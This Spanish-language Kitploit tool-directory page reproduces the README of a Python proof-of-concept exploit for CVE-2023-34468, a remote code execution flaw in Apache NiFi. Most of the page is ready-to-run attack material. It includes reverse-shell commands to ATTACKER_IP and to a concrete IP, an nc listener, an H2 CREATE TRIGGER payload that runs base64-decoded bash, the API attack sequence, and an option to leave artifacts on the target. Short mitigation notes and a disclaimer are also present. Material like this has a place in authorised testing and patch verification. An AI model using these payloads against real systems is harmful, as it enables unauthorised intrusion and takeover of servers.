Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-34468 — CVE-2023-34468 - Apache NiFi H2 RCE PoC | Kitploit
Herramientas/GitHubGitHub/jeanpt/cve-2023-34468
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - Apache NiFi H2 RCE PoC

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit CVE-2023-34468

GitHub stars GitHub license

Resumen

Este repositorio proporciona una herramienta de explotación basada en Python para CVE-2023-34468, una vulnerabilidad crítica de ejecución remota de código (CVSS 9.8) en Apache NiFi versiones 0.0.2 a 1.21.0. Permite a usuarios autenticados ejecutar código arbitrario manipulando cadenas de conexión de bases de datos H2 con triggers embebidos.

⚠️ Advertencia: Solo para fines educativos y pruebas autorizadas. El acceso no autorizado a sistemas informáticos es ilegal.

Detalles de la vulnerabilidad

  • CVE ID: CVE-2023-34468
  • Versiones afectadas: Apache NiFi 0.0.2–1.21.0
  • Impacto: Ejecución remota de código (RCE)
  • Puntuación CVSS: 9.8 (Crítica)
  • Fecha de descubrimiento: 12 de junio de 2023
  • Descripción: Los servicios de control DBCPConnectionPool y HikariCPConnectionPool permiten a los usuarios configurar una URL de base de datos con el driver H2 que posibilita la ejecución arbitraria de código Java mediante la funcionalidad CREATE TRIGGER de H2. Cuando se inicializa una conexión, el código JavaScript embebido se ejecuta con los privilegios de NiFi.

Requisitos previos

  • Python 3.7+
  • Biblioteca requests
  • Acceso de red a la API de NiFi (puerto por defecto 8080 o 8443)
  • Instancia de NiFi de destino sin autenticación O credenciales válidas
  • Configuración de listener para reverse shell (ej., nc -lnvp 5555)

Inicio rápido

Clonar e instalar

root@kitploit:~
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

NiFi sin autenticación (sin credenciales necesarias)

root@kitploit:~
# Inicia tu listener
nc -lnvp 5555

# Ejecuta el exploit — la autenticación se detecta automáticamente, no se necesitan flags para instancias abiertas
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

NiFi autenticado (usuario/contraseña)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

NiFi autenticado (token portador)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

Omitir limpieza (dejar artefactos en el objetivo)

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

Todas las opciones

root@kitploit:~
python3 exploit.py --help

Verificación: Revisa tu listener para la conexión de reverse shell. Ejecuta id para confirmar la ejecución de código.

Cómo funciona (Detalles técnicos)

Flujo de ataque

  1. Reconocimiento: Identifica la versión de NiFi mediante /nifi-api/system-diagnostics
  2. Crear servicio DBCP: POST de una cadena de conexión H2 maliciosa a /nifi-api/process-groups/root/controller-services
  3. Crear procesador: POST del procesador ExecuteSQL al mismo grupo de procesos
  4. Configurar procesador: Asociar el procesador con el servicio DBCP malicioso
  5. Habilitar servicio: PUT a /nifi-api/controller-services/{id}/run-status con estado ENABLED
  6. Activar RCE: PUT a /nifi-api/processors/{id}/run-status con estado RUNNING — el trigger H2 se dispara al conectar

Estructura del payload H2

root@kitploit:~
jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

Puntos clave:

  • Escapar el punto y coma con barra invertida: \;
  • JavaScript se ejecuta en BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (auto-activado)
  • Codificar el payload en Base64 para evitar problemas con caracteres especiales
  • Los signos igual de relleno se reemplazan con espacios para evitar problemas de análisis sintáctico de H2

Ejemplos de payload

Reverse shell

root@kitploit:~
# Ejecutar el exploit directamente
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

Ejecución de comandos

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

Mitigación

  • Actualizar: Actualizar a Apache NiFi 1.22.0 o posterior
  • Control de acceso: Restringir el acceso a la API de NiFi mediante firewall/WAF
  • Autenticación: Habilitar y reforzar la autenticación en NiFi
  • Monitorización: Alertar sobre configuraciones inusuales de servicios de control
  • Segmentación de red: Aislar NiFi de redes no confiables

Referencias

  • NVD - CVE-2023-34468
  • Apache NiFi Security Advisory
  • NIFI-11653 - Issue Tracker
  • Apache Mailing List Discussion

Descargo de responsabilidad

Esta herramienta se proporciona únicamente para investigación de seguridad y pruebas autorizadas. El autor no es responsable del mal uso o daños causados por este exploit. Siempre realice pruebas de manera responsable solo en entornos autorizados.

Créditos

  • Descubrimiento: Matei "Mal" Badanoiu
  • Módulo de Metasploit: h00die
  • POC en Python: Jean

Licencia

Licencia MIT - Consulte el archivo LICENSE para obtener más detalles


Creado para investigación de seguridad y pruebas de penetración autorizadas.

Topics: apache-nifi h2-database rce exploit cve-2023-34468 python security-research

Descargar herramienta
ComandoDescripción
-t, --targetURL de la instancia NiFi objetivo (obligatorio)
-c, --commandComando a ejecutar (obligatorio)
-lh, --lhostHost del listener para callback (obligatorio)
-lp, --lportPuerto del listener para callback (obligatorio)
-u, --usernameUsuario de NiFi (instancias autenticadas)
-p, --passwordContraseña de NiFi (instancias autenticadas)
--tokenToken portador (instancias autenticadas)
--no-cleanupOmitir limpieza después de la explotación
--delaySegundos de espera antes de la limpieza (por defecto: 10)
--driver-pathSobrescribir la ruta del jar del driver H2 (omitido por defecto)